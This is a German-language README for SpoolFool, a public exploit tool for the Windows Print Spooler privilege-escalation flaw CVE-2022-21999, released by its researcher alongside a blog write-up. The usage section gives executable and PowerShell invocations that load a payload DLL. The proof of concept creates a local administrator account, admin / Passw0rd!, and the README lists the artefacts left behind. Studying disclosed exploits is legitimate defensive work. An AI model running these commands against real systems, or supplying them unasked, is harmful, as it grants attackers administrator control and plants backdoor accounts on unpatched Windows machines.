SpoolFool

Exploit für CVE-2022-21999 - Windows Print Spooler Sicherheitslücke zur Erweiterung von Privilegien (LPE)

Details

Der mitgelieferte Exploit sollte standardmäßig auf allen Windows-Desktop-Versionen funktionieren.

Die vollständigen technischen Details finden Sie im Blogbeitrag hier.

Verwendung

PS C:\SpoolFool> .\SpoolFool.exe

SpoolFool
  By Oliver Lyak (@ly4k_)

Examples:
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer'
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll -dir 'SECRET'
  C:\SpoolFool\SpoolFool.exe -dll add_user.dll -printer 'My Printer' -dir 'SECRET'

Powershell

PS C:\SpoolFool> ipmo .\SpoolFool.ps1
PS C:\SpoolFool> Invoke-SpoolFool

SpoolFool
  By Oliver Lyak (@ly4k_)

Examples:
   -dll add_user.dll
   -dll add_user.dll -printer 'My Printer'
   -dll add_user.dll -dir 'SECRET'
   -dll add_user.dll -printer 'My Printer' -dir 'SECRET'

Proof of Concept

Im folgenden PoC wird eine DLL verwendet, die einen neuen lokalen Administrator admin / Passw0rd! erstellt. Die DLL (AddUser.dll) und der Quellcode sind in diesem Repository zu finden.

Zweiter Lauf

Das folgende PoC demonstriert einen zweiten Lauf des mitgelieferten Exploits. Beachten Sie, dass die Sicherheitslücke dieses Mal nicht ausgenutzt wird, um die DLL zu laden.

Artefakte

Nach der Ausführung des Exploits bleiben die folgenden Artefakte für die spätere Bereinigung zurück:

• Das erstellte Druckertreiber-Verzeichnis wird nicht entfernt
• Die Payload-DLL wird in das Druckertreiber-Verzeichnis kopiert und nicht entfernt
• Ein erstellter Drucker wird nicht entfernt
• Der SpoolDirectory-Wert des Ziel-Druckers wird nicht wiederhergestellt

Autoren

• Oliver Lyak @ly4k_

Referenzen

• SpoolFool: Windows Print Spooler Privilege Escalation (CVE-2022-21999)